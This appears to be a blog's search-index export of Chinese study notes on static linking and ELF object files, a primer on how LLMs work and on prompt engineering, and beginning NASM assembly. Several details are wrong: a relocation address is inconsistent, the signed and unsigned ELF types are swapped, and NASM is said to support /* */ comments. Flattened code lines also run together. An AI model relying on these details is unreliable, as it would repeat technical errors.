Binding)的,大体上它们的意思都一样,但从细节角度来区分,它们之间还是存在一定区别的,比如 “决议” 更倾向于静态链接,而 “绑定” 更倾向于动态链接,即它们所使用的范围不一样。在静态链接,我们将统一称为符号决议。\n\n最基本的静态链接过程如图所示。每个模块的源代码文件(如.c)文件经过编译器编译成目标文件(Object File,一般扩展名为 .o 或 .obj),目标文件和库(Library) 一起链接形成最终可执行文件。而最常见的库就是运行时库(Runtime Library),它是支持程序运行的基本函数的集合。库其实是一组目标文件的包,就是一些最常用的代码编译成目标文件后打包存放。关于库本书的后面还会再详细分析\n\n我们认为对于 Object 文件没有一个很合适的中文名称,把它叫做中间目标文件比较合适,简称为目标文件,所以本书后面的内容都将 Object 文件为目标文件,很多时候我们也把目标文件称为模块。\n\n现代的编译和链接过程也并并非想象中的那么复杂,它还是一个比较容易理解的概念。比如我们在程序模块 main.c 中使用另外一个模块 func.c 中的函数 foo()。我们在 main.c 模块中每一处调用 foo 的时候都必须确切知道 foo 这个函数的地址,但是由于每个模块都是单独编译的,在编译器编译 main.c 的时候它并不知道 foo 函数的地址,所以它暂时把这些调用 foo 的指令的目标地址搁置,等待最后链接的时候由链接器去将这些目标地址修正。如果没有链接器,须要我们手工把每个调用 foo 的指令进行修正,则填入正确的 foo 函数地址。当 func.c 模块被重新编译,foo 函数的地址也可能改变时,那么我们 main.c 中所有使用到 foo 的地址的指令将要全部重新调整。这些繁琐的工作将成为程序员的噩梦。使用链接器,你可以直接引用其他模块的函数和全局变量而无须知道它们的地址,因为链接器在连接的时候,会根据你所引用的符号 foo,自动去相应的 func.c 模块查找 foo 的地址,然后将 main.c 模块中所有引用到 foo 的指令重新修正,让它们的目标地址为真正的 foo 函数的地址。这就是静态连接的最基本的过程和作用。\n在链接过程中,对其他定义在目标文件中的函数调用的指令须要被重新调整,对使用其他定义在其他目标文件的变量来说,也存在同样的问题。 让我们结合具体的 CPU 指令来了解这个过程。假设我们有个全局变量叫做 var,它在目标文件 A 里面。我们在目标文件 B 里面要访问这个全局变量,比如我们在目标文件 B 里面有怎么一条指令:\t\nmovl $0x2a, var\n\n这条指令就是给这 var 变量赋值 0x2a,相当于 C 语言里面的语句 var=42。然后我们编译目标文件 B,得到这条指令机器码,如图。\t\n\n由于在编译目标文件 B 的时候,编译器并不知道变量 var 的目标地址,所以编译器在没法确定地址的情况下,将这条 mov 指令的目标地址置为0,等待链接器在将目标文件 A 和 B 链接起来的时候再将其修正。我们假设 A 和 B 链接后,变量 var 的地址确定下来 0x1000,那么链接器将会把这个指令的目标地址部分修改成 0x10000。这个地址的修正的过程也被叫做重定位(Relocation),每个要被修正的地方叫一个重定位入口(Relocation Entry)。重定位所做的就是给程序中每个这样的绝对地址引用的位置 “打补丁”,使它们指向正确的地址。\n","categories":["链接、装载和库"],"tags":["读书笔记"]},{"title":"《链接、装载与库》chapter3 目标文件里有什么","url":"/2024/10/26/link_load_lib/link-load-lib-3/","content":"编译器编译源代码后生成的文件叫做目标文件,那么目标文件里面到底存放的是什么呢?或者我们的源代码在经过编译以后是怎么存储的?\n目标文件从结构上讲,它是已经编译后的可执行文件格式,只是还没有经过链接的过程,其中可能有些符号或有些地址还没有被调整。其实它本身就是按照可执行文件格式存储的,只是跟真正的可执行文件在结构上稍有不同。\n可执行文件格式涵盖了程序的编译、链接、装载和执行的各个方面。了解它的结构并深入刨析它对于认识系统、了解背后的机理大有好处。\n目标文件的格式现在 PC 平台流行的可执行文件格式(Executable) 主要是 Windows 下的 PE(Portable Executable)和 Linux 的 ELF(Executable Linkable Format),它们都是 COFF(Common file format)格式的变种。目标文件就是源代码编译后但未执行链接的那些中间文件(Windows的.obj和Linux下的.o),它跟可执行文件的内容与结构很相似,所以一般可执行文件格式一起采用一种格式存储。从广义上看,目标文件与可执行文件的格式其实几乎是一样的,所以我们可以广义地将目标文件与可执行文件看成是一种类型的文件,在 Windows 下,我们可以统称它们为 PE-COFF 文件格式。在 Linux 下,我们可以将它们统称为 ELF 文件。其他不太常见的可执行文件格式还有 Intel/Microsoft 的 OMF(Object Module Format)、Unix a.out 格式和 MS-DOS .COM 格式等。\n不光是可执行文件(Windows的.exe 和 Linux 下的ELF可执行文件)按照可执行文件格式存储。动态链接库(DLL,Dynamic Linking Library)(Windows 的.dll和 Linux的.so)及静态链接库(Static Linking Library) (Windows 的.lib 和 Linux 的.a)文件都按照可执行文件格式存储。它们在 Windows 下都按照 PE-COFF 格式存储,Linux 下按照 ELF 格式存储。静态链接库稍有不同,它是把很多目标文件捆绑在一起形成一个文件,再加上一些索引,你可以简单地把它理解为一个包含有很多目标文件的文件包。\nELF 文件标准里面把系统中采用 ELF 格式的文件归为如表所列举的 4 类。\n\n\n\nELF文件类型\n说明\n实例\n\n\n\n可重定位文件(Relocatable File)\n这类文件包含了代码和数据,可以被用来链接成可执行文件或共享目标文件,静态链接库也可以归为这一类\nLinux 的.o Windows 的.obj\n\n\n可执行文件(Executable File)\n这类文件包含了可以直接执行的程序,它的代表就是ELF可执行文件,它们一般都没有扩展名\n比如 /bin/bash 文件 Windows 的 .exe\n\n\n共享目标文件(Shared Object File)\n这种文件包含了代码和数据,可以在以下两种情况下使用。一种是链接器可以使用这种文件跟其他的可重定位文件和共享目标文件链接,产生新的目标文件。第二种是动态链接器可以将几个这种共享目标文件与可执行文件结合,作为进程映像的一部分来运行。\nLinux 的 .os,如 /lib/glibc-2.5.so Windows 的 DLL\n\n\n核心转储文件(Core Dump File)\n当进程意外终止时,系统可以将该进程的地址空间的内容及终止时的一下其他信息转储到核心转储文件\nLinux 下的 core dump\n\n\nLinux下可以使用file命令查看相应的文件格式。\n目标文件是什么样的我们大概能猜到,目标文件中的内容至少有编译后的机器指令代码、数据。没错,除了这些内容以外,目标文件中还包括了链接时所须要的一些信息,比如符号表、调试信息、字符串等。一般目标文件将这些信息按不同的属性,以 “节” (Section) 的形式存储,有时候也叫 “段” (Segment),在一般情况下,它们都表示一个一定长度的区域,基本上不加以区别,唯一的区别是在 ELF 的链接视图和装载视图的时候,后面会专门提到。在本书中默认情况下统一将它们称为 “段”。\n程序源代码编译后的机器指令经常被放在代码段(Code Section) 里,代码段常见的名字有 “.code” 或 “.text”;全局变量和局部静态变量数据经常放在数据段(Data Section),数据段的一般名字都叫 “.data”。\n让我们来看一个简单的程序编译成目标文件后的结构,如图所示。\n\n假设图中的可执行文件的格式是 ELF,从图中可以看到,ELF 文件的开头是一个 “文件头”,它描述了整个文件的文件属性,包括文件是否可执行、是静态链接还是动态链接及入口地址(如果是可执行文件)、目标硬件、目标操作系统等信息,文件头还包括一个段表(Section Table),段表其实是一个描述文件中各个段的数组。段表描述了文件中各个段在文件中的偏移位置及段的属性等,从段表里面可以得到每个段的所有信息。文件头后面就是各个段的内容,比如代码段保存的就是程序的指令,数据段保存的就是程序的静态变量等。\n对照图来看,一般C语言的编译后执行语句都编译成机器代码,保存在 .text 段:已初始化的全局变量和局部静态变量都保存在 。data段;未初始化的全局变量和局部静态变量一般放在一个叫 “bss” 的段里。我们知道未初始化的全局变量和局部静态变量默认值都为 0,本来它们也可以被放在 .data 段的,但是因为它们都是 0,所以它们在 .data 段分配空间并且存放数据 0 是没有必要的。程序运行的时候它们的确是要占内存空间的,并且可执行文件必须记录所有未初始化的全局变量和局部静态变量的大小总和,记为 .bss 段。所以.bss段只是未初始化的全局变量和局部静态变量预留位置而已,它并没有内容,所以它在文件中也不占据空间。\n总体来说,程序源代码被编译以后主要分成两种段:程序指令和程序数据。代码段属于程序指令,而数据段和 .bss 段属于程序数据。\n为什么要将程序的指令和数据的存放分开?数据和指令分段的好处有很多。主要有以下几个方面。\n\n一方面是当程序被装载后,数据和指令分别被映射到两个虚存区域。由于数据区域对于进程来说是可读写的,而指令区域对于进程来说是只读的,所以这两个虚存区域的权限可以被分别设置成可读写和只读。这样可以防止程序的指令被有意或无意地改写。\n\n另外一方面是对于现代的CPU来说,它们有着极为强大的缓存(Cache)体系。由于缓存在现代的计算机中地位非常重要,所以程序必须尽量提高缓存的命中率。指令区和数据区的分离有利于提高程序的局部性。现代CPU的缓存一般都被设计成数据缓存和指令缓存分离,所以程序的指令和数据被分开存放对CPU的缓存命中率提高有好处。\n\n第三个原因,其实也是最重要的原因,就是当系统中运行着多个该程序的副本时,它们的指令都是一样的,所以内存中只须要保存一份改程序的指令部分。对于指令这种只读的区域来说是这样,对于其他的只读数据也一样,比如很多程序里面带有的图标图片、文本等资源也是属于可以共享的。当然每个副本进程的数据区域是不一样的,它们是进程私有的。不要小看这个共享指令的概念,它在现代的操作系统里面占据了极为重要的地位,特别是在有动态链接的系统中,可以节省大量的内存。比如我们常用的 Windows Internet Explorer 7.0 运行起来以后,它的总虚存空间为 112 844 KB,它的私有部分数据为 15944 KB,即有 96900 KB 的空间是共享部分。如果系统中运行了数百个进程,可以想象共享的方法来节省大量空间。关于内存共享的更为深入的内容我们将在装载这一章探讨。\n\n\n挖掘 SimpleSection.oobjdump -h 查看文件段的基本信息\n除了最基本的代码段、数据段和BSS段以外,还有3个段分别是只读数据段(.rodata)、注释信息段(.comment)和堆栈提示段(.note.GNU-stack)。\n段的长度(size)和段所在的位置(file offset),每个段的第二行中的“contents”、“alloc”等表示段的各种属性。\ncontents表示该段在文件中存在。\nsize 查看ELF文件的代码段、数据段和BSS段的长度\n代码段挖掘各个段的内容,还是须要objdump这个利器。objdump的 “-s” 参数可以将所有段的内容以十六进制的方式打印出来,“-d” 参数可以将所有包含指令的段反汇编。\n显示结构最左边是偏移量,中间4列是十六进制内容,最有面一列是.text的ASCII码形式。\n可以十六进制对照反汇编进行分析。\n数据段和只读数据段.data段保存的是那些已经初始化了的全局静态变量和局部静态变量。\n字符串常量属于只读数据,所以它会放到 .rodata。\n单独设立“.rodata”段可以使操作系统在加载的时候可以将“.rodata”段的属性映射成只读,这样对于这个段的任何修改操作都会作为非法操作处理。\n有时候编译器会把字符串常量放在“.data”段,而不会单独放在“.rodata”段。\n字节序,数据在内存里以小端序存储。\nBSS段.bss段存放的是未初始化全局变量和局部静态变量,\n有些编译器会将全局的未初始化变量存放在目标文件.bss段,有些则不存放,只是预留一个未定义的全局变量符号,等到最终链接成可执行文件的时候再在.bss段分配空间。\n编译单元内部可见的静态变量的确是存放在.bss段的。\nQuiz变量存放位置\n全局变量为0,可以认为是未初始化的,所以被优化掉可以放在.bss。\n其他段除了.text、.data、.bss这3个最常用的段之外,ELF文件也有可能包含其他的段,用来保存与程序相关的其他信息。\n\n\n\n常用的段名\n说明\n\n\n\n.rodata l\nRead only Data,这种段里存放的是只读数据,比如字符串常量、全局const变量。跟 “.rodata” 一样\n\n\n.comment\n存放的是编译器版本信息,比如字符串:“GCC:(GNU)4.2.0”\n\n\n.debug\n调试信息\n\n\n.dynamic\n动态链接信息\n\n\n.hash\n符号哈希表\n\n\n.line\n调试时的行号表,即源代码行号与编译后指令的对应表\n\n\n.note\n额外的编译器信息。比如程序的公司名、发包版本号等\n\n\n.strtab\nString Table.字符串表,用于存储ELF文件中用到的各种字符串\n\n\n.symtab\nSymbol Table.符号表\n\n\n.shstrtab\nSection String Table.段名表\n\n\n.plt .got\n动态链接的跳转表和全局入口表\n\n\n.init .fini\n程序初始化与终结代码段\n\n\n些段的名字都是由 “.” 作为前缀,表示这些表的名字是系统保留的,应用程序也可以使用一些非系统保留的名字作为段名。\n一个ELF文件可以拥有几个相同段名的段。\n\n自定义段\n正常情况下,GCC编译出来的目标文件中,代码会被放到 “.text” 段,全局变量和静态变量会被放到 “.data” 和 “.bss” 段,正如我们前面所分析的。\n但是有时候你可能希望变量或某些部分代码能够放到你所指定的段中去,以实现某些特定的功能。比如为了满足某些硬件的内存和 I/O 的地址布局,或者是像 Linux 操作系统内核中用来完成一些初始化和用户空间复制时出现页错误异常等。\nGCC提供了一个扩展机制,使得程序员可以指定变量所处的段:\n\n我们在全局变量或函数之前加上“ __ attribute__((section(“name”))) ”属性就可以把相应的变量或函数放到以“name”作为段名的段中。\nELF 文件结构描述ELF文件基本结构图\n\nELF目标文件格式的最前部ELF文件头(ELF Header),它包含了描述整个文件的基本属性,比如ELF文件版本、目标机器型号、程序入口地址等。紧接着是ELF文件各个段。其中ELF文件中与段有关的重要结构就是段表(Section Header Table),该表描述了ELF文件包含的所有段的信息,比如各个段的段名、段的长度、在文件中的偏移、读写权限及段的其他属性。\n文件头readelf命令可以详细查看ELF文件。\n-h\t查看ELF文件头\nELF的文件头中定义了ELF魔术、文件机器字节长度、数据存储方式、版本、运行平台、ABI版本、ELF重定位类型、硬件平台、硬件平台版本、入口地址、程序头入口和长度、段表的位置和长度及段的数量等。\nELF文件结构及相关常数被定义在 “/usr/include/elf.h” 里,因为ELF文件在各种平台下通用,ELF文件有32位版本和64位版本。它的文件头结构也有这两种版本,分别叫做“Elf32_Ehdr” 和 “Elf64_Ehdr”。\n32位版本与64版本的ELF文件的文件头内容是一样的,只不过有些成员的大小不一样。为了对每个成员的大小做出明确的规定以便于在不同的编译环境下都拥有相同的字段长度,“elf.h”使用typedef定义了一套自己的变量体系,如表所示。\n\n\n\n自定义类型\n描述\n原始类型\n长度(字节)\n\n\n\nElf32_Addr\n32位版本程序地址\nuint32_t\n4\n\n\nElf32_Half\n32位版本的无符号短整型\nuint16_t\n2\n\n\nElf32_Off\n32位版本的偏移地址\nuint32_t\n4\n\n\nElf32_Sword\n32位版本有符号整型\nuint32_t\n4\n\n\nElf32_Word\n32位版本无符号整型\nint32_t\n4\n\n\nElf64_Addr\n64位版本程序地址\nuint64_t\n8\n\n\nElf64_Half\n64位版本的无符号短整型\nuint16_t\n2\n\n\nElf64_Off\n64位版本的偏移地址\nuint64_t\n8\n\n\nElf64_Sword\n64位版本的有符号整型\nuint32_t\n4\n\n\nElf64_Work\n64位版本无符号整型\nint32_t\n4\n\n\nELF文件头结构成员含义\n\n\n这些字段的相关常量都定义在“elf.h”里面。\nELF魔数\t我们可以从前面readelf的输出看到,最前面的 “Magic” 的16个字节刚好对应 “Elf32_Ehdr” 的e_ident这个成员。这16个字节被ELF标准规定用来标识ELF文件的平台属性,比如这个ELF字长(32位/64位)、字节序、ELF文件版本。\n\n最开始的4个字节是所有ELF文件都必须相同的标识码,分别为0x7f、0x45、0x4c、0x46,第一个字节对应ASCII字符里面的DEL控制符,后面3个字节刚好是ELF这3个字母的ASCII码。这4个字节又被称为ELF文件的魔数,几乎所有的可执行文件格式的最开始的几个字节都是魔数。\n这种魔数用来确认文件的类型,操作系统在加载可执行文件的时候会确认魔数是否正确,如果不正确会拒绝加载。\n接下来的一个字节是用来标识ELF的文件类的,0x01表示32位的,0x02表示是64位:第6个字是字节序,规定该ELF文件是大端的话说小端的。第7个字节规定ELF文件的主版本号,一般是1,因为ELF标准自1.2版一行就再也密钥更新了。后面的9个字节ELF标准密钥定义,一般填0,有些平台会使用这9个字节作为扩展标志。\n文件类型\te_type成员表示ELF文件类型,即前面提到过的3种文件类型,每个文件类型对应一个常量。系统通过这个常量来判断ELF的真正文件类型,而不是通过文件的扩展名。\n\n机器类型\tELF文件格式被设计成可以在多个平台下使用。这并不表示同一个ELF文件可以在不同的平台下使用(就像java的字节码文件那样),而是表示不同平台下的ELF文件都遵循同一套ELF标准。e_machine成员就表示该ELF文件的平台属性,比如3表示该ELF文件只能在 intel x86机器下使用。\t\n\n段表我们知道ELF文件中有很多各种各样的段,这个段表(Section Header Table)就是保存这些段的基本属性的结构。段表是ELF文件中除了文件头以外最重要的结构,它描述了ELF的各个段的信息,比如每个段的段名、段的长度、在文件中的偏移、读写权限及段的其他属性。也就是说,ELF文件的段结构就是由段表决定的,编译器、链接器和装载器都是依靠段表来定位和访问各个段的属性的。段表在ELF文件中的位置由ELF文件头的“e_shoff”成员决定。\nobjdump -h命令只会把ELF文件中关键的段显示出来,而省略了其他的辅助性的段,比如:符号表、字符串表、段名字符串表、重定位表等。可以用readelf -S来查看文件的段,它显示出来的结果才是真正的段表结构。\n段表是结构是一个以 “Elf32_Shdr” 结构体为元素的数组。数组元素的个数等于段个数,每个 “Elf32_Shdr”结构体对应一个段。“Elf32_Shdr”又被称为段描述符(Section Descriptor)。\nELF段表的这个数组的第一个元素是无效的段描述符,它的类型为“NULL”,除此之外每个段描述符都对应一个段。\n数组的存放方式\n\nELF文件里面很多地方采用了这种与段表类似的数组方式保存。一般定义一个固定长度的结构,然后依次存放。这样我们就可以使用小标来引用某个结构。\nElf32_Shdr被定义在 “/usr/include/elf.h”\n\n\n段的类型(sh_type)正如前面所说的,段的名字只是在链接和编译过程中有意义,但它不能真正地表示段的类型。我们也可以将一个数据段命名为.text,对于编译器和链接器来说,主要决定段的属性的是段的类型(sh_type)和段的标志位(sh_flags)。段的类型相关常量以SHT_开头。\n\n\n段的标志位(sh_flag)段的标志位表示该段在进程虚拟地址空间中的属性,比如是否可写,是否可执行等。相关常量以SHF_开头。\n\n系统保留段的属性\n\n\n段的链接信息(sh_link、sh_info)如果段的类型是与链接相关的(不论是动态链接或静态链接),比如重定位表、符号表等,那么sh_link和sh_info这两个成员所包含的意义如表所示。对于其他类型的段,这两个成员没有意义。\n\n重定位表“rel.text” 的段,它的类型(sh_type)为 “SHT_REL”,也就是说它是一个重定位表(Relocation Table)。正如我们最开始所说的,链接器在处理目标文件时,须要对目标文件中某些部位进行重定位,即代码段和数据段中那些对绝对地址的引用的位置。这些重定位的信息都记录在ELF文件的重定位表里面,对于每个须要重定位的代码段或数据段,都会有一个相应的重定位表。\n一个重定位表同时也是ELF的一个段,那么这个段的类型(sh_type)就是“SHT_REL”类型的,它的“sh_link”表示符号表的下标,它的“sh_info”表示它作用于哪个段。比如“.rel.text”作用于“.text”段,而“.text”段的下标为“1”,那么“.rel.text” 的 “sh_info”为“1”。\n字符串表ELF文件中用到了很多字符串,比如段名、变量名等。因为字符串的长度往往是不定的,所以用固定的结构来表示它比较困难。一种很常见的做法是把字符串集中起来存放到一个表,然后使用字符串在表中的偏移来引用字符串。\n如下表\n\n偏移与它们对应的字符串如下表所示\n\n通过这种方法,在ELF文件中引用字符串只须给出一个数字下标即可,不用考虑字符串长度的问题。一般字符表在ELF文件中也以段的形式保存,常见的段明为“.strtab”或“.shstrtab”。这两个字符串表分别为字符串表(String Table)和段表字符串表(Section Header String Table)。顾名思义,** 字符串表用来保存普通的字符串,比如符号的名字;段表字符串表**用来保存段表中用到的字符串,最常见的就是段名(sh_name)\n接着我们再回头看这个ELF文件头中的e_shstrndx的含义,我们在前面提到过,e_shstrndx是ELF32_Ehdr的最好一个成员,它是“Section header string table index”的缩写。我们知道段表字符串表本身也是ELF文件中的一个普通的段,知道它的名字往往叫做“.shstrtab”。那么这个“e_shstrndx”就表示“.shstrtab”在段表中的下标,即段字符串表在段表中的下标。\n只要分析ELF文件头,就可以得到段表和段表字符串表的位置,从而解析整个ELF文件。\n链接的接口——符号在链接中,目标文件之间相互拼合实际上是目标文件之间对地址的引用,即对函数和变量的地址的引用。\n比如,目标文件B要用到了目标文件A中的函数,那么我们称目标文件A定义(Define) 了函数,称目标文件B引用(Reference) 了目标文件A中的函数。\n每个函数和变量都有自己独特的名字,才能避免链接过程中不同变量和函数之间的混淆。\n在链接中,我们将函数和变量统称为符号(Symbol),函数名或变量名就是符号名(Symbol Name)。\n我们可以将符号看作是链接中的粘合剂,整个链接过程正是基于符号才能够正确完成。链接过程中很关键的一部分就是符号的管理,每一个目标文件都会有一个相应的符号表(Symbol Table),这个表里面记录了目标文件中所用到的所有符号。每一个定语的符号有一个对应的值,叫做符号值(Symbol Value),对于变量和函数来说,符号值就是它们的地址。除了函数和变量之外,还存在其他集中不常用到的符号。我们将符号表中所有的符号进行分类,它们也可能是下面这些类型中的一种:\n\n定义在本目标文件的全局符号,可以被其他目标文件引用。\n在本目标文件中引用的全局符号,却没有定义在本目标文件,这一般叫做外部符号(Extermal Symbol),也就是我们前面所讲的符号引用。\n段名,这种符号往往由编译器产生,它的值就是该段的起始地址。\n局部符号,这类符号只在编译单元内部可见。\n行号信息,即目标文件指令与源代码中代码行的对应关系,它也是可选的。\n\n链接过程只关心全局符号的相互“粘合”,局部符号、段名、行号等都是次要的,它们对应其他目标文件来说是“不可见”的,在链接过程中也是无关紧要的。\nELF符号表结构ELF文件中的符号表往往是文件中的一个段,段名一般叫“.symtab”。符号表的结构很简单,它是一个Elf32_Sym结构(32位ELF文件)的数组,每个Elf32_Sym结构对应一个符号。这个数组的第一个元素,也就是下标0的元素为无效的“未定义符号”。\nElf32_Sym的结构定义如下:\n\n这几个成员的定义如表所示:\n\n特殊符号符号修饰与函数签名extern “C”弱符号与强符号调试信息目标文件里面还有可能保存的是调试信息。几乎所有现代的编译器都支持源代码级别的调试,比如我们可以在函数里面设置断点,可以监视变量变化,可以单步行进等,前提是编译器必须提前讲源代码与目标代码之间的关系等,比如目标代码中的地址对应源代码中的哪一行、函数和变量的类型、结构体的定义、字符串保存到目标文件里面。甚至有些高级的编译器和调试器支持查看STL容器的内容,即程序员在调试过程中可以之间观察STL容器中的成员的值。\n如果我们在GCC编译时加上”-g“参数,编译器就会在产生的目标文件里面加上调试信息,我们通过readelf等工具可以看到,目标文件里多了很多”debug“相关的段。\n这些段中保存的就是调试信息。现在的ELF文件采用一个叫DWARF(Debug WithArbitrary Record Format)的标准的调试信息格式,现在该标准以及发展到了第三个版本,即DWARF 3,由DWARF标准委员会由2006年年颁布。Microsoft也有自己相应的调试信息格式标准,叫 Code View。\n调试信息在目标文件和可执行文件中占用很大的空间,往往比程序的代码和数据本身大好几倍,所以当我们开发我程序并要将它发布的时候,须要把这些对于用户没有用的调试信息去掉,以节省大量的空间。在Linux下,我们可以使用 ”strip“ 命令来去掉ELF文件中的调试信息。\n","categories":["链接、装载和库"],"tags":["读书笔记"]},{"title":"大模型原理","url":"/2024/11/04/llm/llm-principle/","content":"\n一句话描述大模型的原理:不断优化的做词语接龙!\n\nAIGCAIGC(AI Generated Content)即AI生成的内容。\nGenerative AI(生成式AI),生成式AI所生成的内容就是AIGC\nAI是属于计算机科学的一个学科,早在1956年AI就被确立为了一个学科领域。\n机器学习(Machine Learning)是AI的一个子集,它的核心在与不需要人类做显示编程,而是让计算机通过算法自行学习和改进。去识别模式做出预测和决策。\n机器学习可以分为三大类:\n\n监督学习:利用带标签的训练数据,算法学习输入与输出之间的映射关系,以便在新输入特征下准确预测输出值,包括分类(将数据划分为不同类别)和回归(预测数值)。\n\n无监督学习:算法处理没有标签的数据,旨在自主发现数据中的模式或规律,主要方法包括聚类(将数据分组)。\n\n强化学习:模型在特定环境中采取行动并获得反馈,从中学习以便在类似情况下采取最佳行动,以最大化奖励或最小化损失。\n\n\n深度学习并不属于上述三大类中的任何一类,深度学习是机器学习的一种方法,主要通过层次化的神经网络结构模仿人脑的信息处理方式,从而有效提取和表示数据特征。它并不局限于传统的监督、无监督或强化学习,而是能够在多种任务中实现自我学习和特征表示。\n神经网络可以应用于监督学习、无监督学习和强化学习,因此深度学习并不局限于这些分类之中。\n生成式AI是深度学习的一种应用,通过神经网络识别现有内容的模式和结构,从而生成新的内容。\n大型语言模型(LLM,Large Language Model)也是深度学习的一个应用,专注于自然语言处理任务。\n原理大型语言模型(LLM,Large Language Model)是一种深度学习模型,专用于处理自然语言任务,如文本生成、分类、摘要和改写等。它通过接收大量文本内容进行无监督学习,以提取和理解语言中的模式。例如,GPT-3就是一个典型的LLM。\n2017年,谷歌团队发布的论文《Attention is All You Need》提出了Transformer架构,这一创新改变了自然语言处理的发展方向。在此之前,主流语言模型使用循环神经网络(RNN),其按顺序处理输入数据,当前步骤的输出依赖于先前的隐藏状态和当前输入。这种设计限制了并行计算的能力,降低了训练效率,并且RNN在处理长文本时表现不佳。由于RNN的结构特性,距离较远的词之间的关联性在传递过程中逐渐减弱,使其难以捕获长距离的语义关系。\n为了解决长期依赖性问题,长短期记忆网络(LSTM)作为RNN的改进版本出现,但其仍未能彻底克服RNN的并行计算限制,并在处理极长序列时仍存在困难。\nTransformer采用自注意力机制,使得模型在处理某个词时,能够同时关注输入序列中的所有词,并为每个词分配不同的注意力权重。通过在训练过程中学习这些权重,Transformer能够有效识别当前词与其他词之间的相关性,从而聚焦于输入序列中的关键部分。\n此外,Transformer在对词进行嵌入并转换成向量之前,还会为每个词添加位置编码,以表示其在句子中的位置信息。这样,神经网络不仅能够理解每个词的意义,还能够捕捉词在句子中的顺序关系。\n借助位置编码,Transformer能够接受无序的输入,模型可以同时处理输入序列中的所有位置,从而大幅提升了计算效率。这一设计使得Transformer在自然语言处理任务中表现出色,成为了当前的主流模型架构。\n大模型是通过预测出现概率最高的下一个词来实现文本生成的。\nTransformer架构可以看成由编码器和解码器组成。\n\n输入的文本首先会被拆分成各个token(文本的基本单位),然后每个token会被用一个整数数字(token ID)表示。然后将其传入嵌入层,嵌入层的作用是让每个token都用向量表示。\n然后对token向量进行位置编码,位置编码就是将表示各个词在文本里顺序的向量和词向量相加。\n\n训练大模型的过程\n无监督预训练 通过大量的文本进行无监督学习预训练,得到一个能进行文本生成的基座模型。\n监督微调 通过一些人类撰写的高质量对话数据对基座模型进行微调,得到一个微调后的模型。此时的模型除了续写文本之外也会具备更好的对话能力。 即监督学习,是在无监督学习的基础上进行监督微调。 为什么不直接进行监督预训练:因为进行监督预训练的成本太高,所需要消耗的人力成本太大。\n训练奖励模型+强化学习训练 用问题和多个对应回答的数据,让人类标注员对回答进行质量排序。然后基于这些数据训练出一个能对回答进行评分预测的奖励模型。 接下来让第二步得到的模型对文件生成回答,用奖励模型给回答进行评分。利用评分作为反馈进行强化学习。 奖励模型训练即通过一个奖励参数让模型分辨每次反馈的不同,从而进行更高质量的反馈。\n\n提示工程提示工程(Prompt Engineering)就是研究如何提高和AI的沟通质量及效率的,核心关注提示的开发和优化。\n零样本提示直接丢东西给AI,没有进行任何示范。\n小样本提示在让AI回答前,通过给AI几个实例,通过一些样本对AI进行引导。\n大模型就会利用上下文学习能力,学习这些样本的内容。\n然后据此回答用户的提问。\n思维链运用思维链的方法:在给AI的小样本提示里不仅包含正确的结果,也展示中间的推理步骤。AI在生成回答时也会模仿着去生成一些中间步骤,把过程进行分解。\n借助思维链,AI可以在每一步里把注意力集中在当前思考步骤上,减少上下文的过多干扰,因此对于复杂的任务,可以更大概率的得到正确的结果。\n分步骤思考即使我们不通过小样本提示,只是在问题后面添加一句请你分步骤思考,也可以更大概率的得到正确的结果。\n武装AI为了应当大模型的一些短板,可以借助一些外部工具或数据把IA武装起来。\n实现这一思路的框架:\n\nRAG(检索增强生成)\nPAL(程序辅助语言模型)\nReAct(推理行动结合)\n\n对于大模型的思考大型语言模型(LLM)可以在某种程度上辅助发明和创造,比如通过生成新想法、提出创新的解决方案或者优化现有的设计。然而,它们本质上是基于已有数据和模式进行推理和生成的,真正的发明通常需要人类的创造性思维、情感和经验。大模型可以作为工具,帮助人类在发明过程中更高效地探索和实验。\n\n在所有已知选项中选择最优选项,但是不能发现完全未发现的选项。即无法发明和创造。\n\n","categories":["LLM"]},{"title":"Linux汇编","url":"/2024/10/24/program/linux-nasm/","content":"前言为了加深对于汇编的掌握于是好好学习了一下NASM汇编。\n以下完全就是个人的学习笔记。\nNASM 汇编基本语法基本结构段定义:NASM 程序分为不同的的段(section),如.data、.bss、.text。每个段用于不同的数据类型或代码。\nsection .data ;数据段\tmag db 'hello world!',0Ah\tsection .bss ;未初始化数据段\tbuffer resb 64\tsection .text ;代码段\tglobal _start\t_start\t;程序代码\n\n注释上述代码中以;号开始的文本就是 NASM 的单行注释。\n单行注释\n;这是一个单行注释\n\n多行注释\n/*这是一个多行注释*/\n\n指令格式操作码:指定执行的操作,例如mov、add、sub。操作数:指令的参数,可以是寄存器、内存位置或立即数。\nmov eax,5add ebx,eax\n\n数据定义db:定义一个字节的数据\nvalue db 0x1f\ndw:定义一个字的数据。\nvalue dw 0x1234\ndd:定义一个双字的数据。\nvalue dd 0x12345678\ndq:定义一个四字的数据。\nvalue dq 0x123456789abcdef0\nresb:保留一定数量的字节。\nbuffer resb 64\nresw:保留一定数量的字。\nbuffer resw 32\nresd:保留一定数量的双字。\nbuffer resd 16\n\n常用指令数据传输\nmov eax,10mov [buffer],eax\n算术运算\nadd eax,1sub ebx,2mul ecximul ecx\n逻辑运算\nand eax,0x0for ebx,0xf0xor ecx,edxnot eax\n控制流\njmp labe1je labe1jne labe1jl labe1jg labe1call functionret\n\n循环控制loop:基于ecx寄存器的循环,ecx的值减 1,当ecx不为0 时跳转。\nmov ecx,10loop_start:\tloop loop_start\n\n宏和条件编译NASM 支持宏,用于简化重复的代码。\n%macro add_5 1\tadd %1,5%endmacrosection .textglobal _start_start:\tadd_5,eax\t;等效于\t;add eax,5\n条件编译:根据条件编译不同的代码块\n%ifdef DEBUG\t;Debugging code%endif\n\n伪指令\nglobal:声明全局符号,其它文件可以引用。\nextern:声明外部符号,来自其他文件。\nequ:定义变量。\n\n汇编与链接汇编:将汇编代码编译成目标文件。\n;汇编 32 位代码nasm -f elf32 demo.asm -o demo.o;汇编 64 位代码nasm -f elf64 demo.asm -o demo.o\n\n链接:将目标文件链接成可执行文件。\n;链接器默认链接 64 位程序ld ./demo.o;链接 32 位程序ld -m elf_i386 demo.o\n\n系统调用在 Linux 下开发程序必须了解 Linux 下的系统调用。\n32位\neax用于存储系统调用号。系统调用的参数通过ebx、ecx、edx、esi、edi、ebp寄存器传递。\n以下是 32 位 Linux 系统中常用的系统调用表。系统调用号可以在 /usr/include/asm/unistd_32.h 